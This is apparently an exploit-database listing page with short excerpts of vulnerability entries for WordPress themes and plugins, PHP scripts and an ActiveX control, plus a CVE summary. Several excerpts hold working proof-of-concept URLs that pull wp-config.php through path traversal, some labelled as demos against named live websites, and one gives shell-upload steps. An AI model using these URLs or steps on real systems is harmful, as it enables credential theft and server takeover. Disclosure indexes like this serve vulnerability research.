WordPress yakimabait Theme Arbitrary File Download Vulnerability

Exploit for php platform in category web applications Poc : http://localhost/wp-content/themes/yakimabait/download.php?file=./wp-config.php Demo : http://www.yakimabait.com/wp-content/themes/yakimabait/download.php?file=./wp-config.php --------------------------------------- Greetz to : All...

WordPress Markant Theme Arbitrary File Download Vulnerability

Exploit for php platform in category web applications Poc: http://localhost/wp-content/themes/markant/download.php?file=../../wp-config.php Demo: http://www.markant.org/wp-content/themes/markant/download.php?file=../../wp-config.php --------------------------------------- Greetz to : All Egy-Shel...

WordPress TheLoft Theme Arbitrary File Download Vulnerability

Exploit for php platform in category web applications Poc: http://localhost/wp-content/themes/TheLoft/download.php?file=../../../wp-config.php Demo: http://909lifefm.com/wp-content/themes/TheLoft/download.php?file=../../../wp-config.php --------------------------------------- Greetz to : All...

CVE-2014-5660

The TN Members 1st FCU-RDC aka com.metova.cuae.tmffcu application 1.0.28 for Android does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate...

Information disclosure

The TN Members 1st FCU-RDC aka com.metova.cuae.tmffcu application 1.0.28 for Android does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate...

CVE-2014-5660

The CVE-2014-5660 entry details a vulnerability in the Android app TN Members 1st FCU-RDC (com.metova.cuae.tmffcu) version 1.0.28, where X.509 certificate validation for SSL servers is not performed. This enables man-in-the-middle attackers to spoof servers and access sensitive information via a ...

WordPress Theme Acento - view-pdf.php?File Arbitrary File Download

WordPress Theme Acento - view-pdf.php?File Arbitrary File Download +++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Title : WordPress acento theme Arbitrary File Download Vulnerability Author : alieye vondor : http://www.wpbyexample.com/detail/acentocultural.com Contact : [email protected]...

WP-Members 2.8.9 - profile.php Multiple Parameter Stored XSS

The WP-Members Membership Plugin WordPress plugin was affected by a profile.php Multiple Parameter Stored XSS security vulnerability...

facebook-members 5.0.4 - Setting Manipulation CSRF

The Facebook Members WordPress plugin was affected by a Setting Manipulation CSRF security vulnerability...

WordPress Members Plugin <= 2.8.9 - Stored XSS

This plugin is prone to a cross site scripting vulnerability in profile.php. Solution Update the plugin...

WordPress Members Plugin <= 2.8.9 - Reflected XSS

This plugin is prone to a cross site scripting vulnerability in wp-login.php. Solution Update the plugin...

Catalog Builder - Ecommerce Software - Blind SQL Injection

No description provided by source. +------------------------------------------------------------------------------------------+ |------- Catalog Builder - Ecommerce Software - Blind SQL Injection Vulnerability -------|...

MyTopix <= 1.3.0 (notes send) Remote SQL Injection Exploit

No description provided by source. ?php / MyTopix = 1.3.0 notes send Remote SQL Injection Exploit Bug discovered & exploited by cOndemned Desc : In order to exploit this vulnerability user have to be logged on the forum, so I'd decided to write this exploit x Greetz : Ex. fobidd3n t3am - Sw33t,...

dew-newphplinks 2.0 (lfi/xss) Multiple Vulnerabilities

No description provided by source. ------------------------------------------------------------------------------------------------ DEW-NEWphpLinks 2.0 LFI/XSS Multiple Remote Vulnerabilities http://www.dew-code.com...

BES-CMS 0.4/0.5 start.php File Include Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/9268/info It has been reported that BES-CMS is vulnerable to a remote file include vulnerability that may allow an attacker to include malicious files containing arbitrary code to be executed on a vulnerable system. The...

FathFTP 1.8 - (DeleteFile Method) ActiveX Buffer Overflow (SEH)

No description provided by source. html object classid='clsid:62A989CE-D39A-11D5-86F0-B9C370762176' id='target'/object script language='vbscript' ' Exploit Title: FathFTP 1.8 SEH DeleteFile ActiveX Buffer Overflow ' Author: MadjiX ' Software Link: http://www.fathsoft.com/fathftp.html ' Version 1....

Newbie CMS File Disclosure Vulnerability

No description provided by source. |=-----------------------------------------------------=| |=-------------= JIKO |No-exploit.Com| =-----------=| |=-----------------------------------------------------=| -----------|00| NAme :JIKO JAWAD Home :No-exploit.Com Mail : !x! -----------|01| -Script nam...

Uploader 0.7 Shell Upload Vulnerability

No description provided by source. Exploit Title: Uploader 0.7 Shell Upload Vulnerability Date: 16.04.2010 Author: DigitALL Software Link: http://www.paehl.de/ Version: 0.7 Code : g00gle d0rk: File viewer for Uploader 3xpl0it: Your Shell shell.php.jpg And Upload Site. And Go to /view.php Your She...

vidshare pro (sql/xss) Multiple Vulnerabilities

No description provided by source. -------------------------AllaH AkbaR------------------------------- VidShare Pro MULTIPLE REMOTE VULNERABILITIES --------------------------------------------------------------------------- Discovered By: Snakespc ALGERIAN HaCkEr Mail: [email protected]...

Proxyroll.com Clone PHP Script Cookie Handling Vulnerability

No description provided by source. Exploit Title: Proxyroll.com Clone PHP Script Cookie Handling And Tamper Data Date: 02.01.2010 Author: DigitALL Thanks: Zombie KroNicKq NoFear and All 1923Turk.biz Members Version: 1.0 Code : This Site Go To /advertise.php and Paypal Buton Click and Firefox Tamp...